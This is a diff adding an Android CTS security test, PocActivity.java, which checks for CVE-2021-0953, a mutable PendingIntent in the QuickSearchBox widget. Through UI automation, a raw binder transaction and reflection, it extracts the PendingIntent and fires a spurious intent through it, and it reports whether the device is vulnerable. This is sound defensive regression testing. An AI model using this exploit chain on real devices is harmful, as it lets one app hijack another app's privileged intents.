summaryrefslogtreecommitdiff
path: root/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
diff options
context:
space:
mode:
Diffstat (limited to 'hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java')
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java253
1 files changed, 253 insertions, 0 deletions
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 00000000000..3684cbe97cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,253 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+ public static int APPWIDGET_ID;
+ public static int REQUEST_BIND_APPWIDGET = 0;
+ public static final int TIMEOUT_MS = 10000;
+
+ Class mClRemoteViews;
+ Field mActions, mResponse, mFldPendingIntent;
+ Method mGetDeclaredField;
+ Object mObjSetOnClickResponse;
+ PendingIntent mPendingIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ AppWidgetHost appWidgetHost;
+ AppWidgetManager appWidgetManager;
+ PocActivity pocActivity = PocActivity.this;
+ appWidgetManager = AppWidgetManager.getInstance(this);
+ appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+ APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+ Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+ intent.putExtra("appWidgetId", APPWIDGET_ID);
+ intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+ "com.android.quicksearchbox.SearchWidgetProvider"));
+ PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+ String settingsPkgName = "";
+ PackageManager pm = getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+ settingsPkgName = ri.activityInfo.packageName;
+ }
+ }
+ if (settingsPkgName.equals("")) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Settings package not found/AllowBindAppWidgetActivity not found");
+ return;
+ }
+ if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to start AllowBindAppWidgetActivity");
+ return;
+ }
+ boolean buttonClicked = false;
+ BySelector selector = By.clickable(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ for (UiObject2 object : objects) {
+ String objectText = object.getText();
+ String objectClass = object.getClassName();
+ if (objectText == null) {
+ continue;
+ }
+ if (objectText.equalsIgnoreCase("CREATE")) {
+ object.click();
+ buttonClicked = true;
+ break;
+ }
+ }
+ if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "'Create' button not found/clicked");
+ return;
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ PocActivity pocActivity = PocActivity.this;
+ if (requestCode == REQUEST_BIND_APPWIDGET) {
+ if (resultCode == -1) {
+ APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+ }
+ }
+ RemoteViews remoteViews =
+ pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+ if (remoteViews == null) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "remoteViews is null as callBinder() failed");
+ return;
+ }
+ try {
+ mClRemoteViews = Class.forName("android.widget.RemoteViews");
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Class android.widget.RemoteViews not found");
+ return;
+ }
+ Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+ Class clSetOnClickResponse = null;
+ Class clRemoteResponse = null;
+ for (Class c : rvSubClasses) {
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+ clSetOnClickResponse = c;
+ }
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+ clRemoteResponse = c;
+ }
+ }
+ try {
+ mActions = mClRemoteViews.getDeclaredField("mActions");
+ } catch (NoSuchFieldException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mActions field not found");
+ return;
+ }
+ mActions.setAccessible(true);
+ try {
+ mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+ mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+ mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+ } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mResponse field not found");
+ return;
+ }
+ mResponse.setAccessible(true);
+ try {
+ mFldPendingIntent =
+ (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mPendingIntent field not found");
+ return;
+ }
+ mFldPendingIntent.setAccessible(true);
+ try {
+ mPendingIntent = (PendingIntent) mFldPendingIntent
+ .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to get PendingIntent");
+ return;
+ }
+ Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+ spuriousIntent.setPackage(getApplicationContext().getPackageName());
+ spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // this is expected when vulnerability is not present and hence return
+ sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+ return;
+ }
+ sendTestResult(getResources().getInteger(R.integer.fail),
+ "Device is vulnerable to b/184046278!!"
+ + " Mutable PendingIntent in QuickSearchBox widget");
+ }
+
+ private IBinder getService(String service) {
+ try {
+ Class clServiceManager = Class.forName("android.os.ServiceManager");
+ Method mtGetService = clServiceManager.getMethod("getService", String.class);
+ return (IBinder) mtGetService.invoke(null, service);
+ } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+ | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Failed to invoke android.os.ServiceManager service");
+ return null;
+ }
+ }
+
+ private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+ String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+ int GET_APP_WIDGET_VIEWS = 7;
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ RemoteViews remoteViews = null;
+ IBinder service = getService("appwidget");
+ if (service != null) {
+ data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+ data.writeString(callingPackage);
+ data.writeInt(appWidgetId);
+ try {
+ service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+ } catch (RemoteException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "service.transact() failed due to RemoteException");
+ return null;
+ }
+ reply.readException();
+ if (reply.readInt() != 0) {
+ remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+ }
+ }
+ return remoteViews;
+ }
+
+ private void sendTestResult(int statusCode, String errorMessage) {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message_key), errorMessage);
+ res.putInt(getString(R.string.status_key), statusCode);
+ finish();
+ cb.sendResult(res); // update callback in test
+ }
+}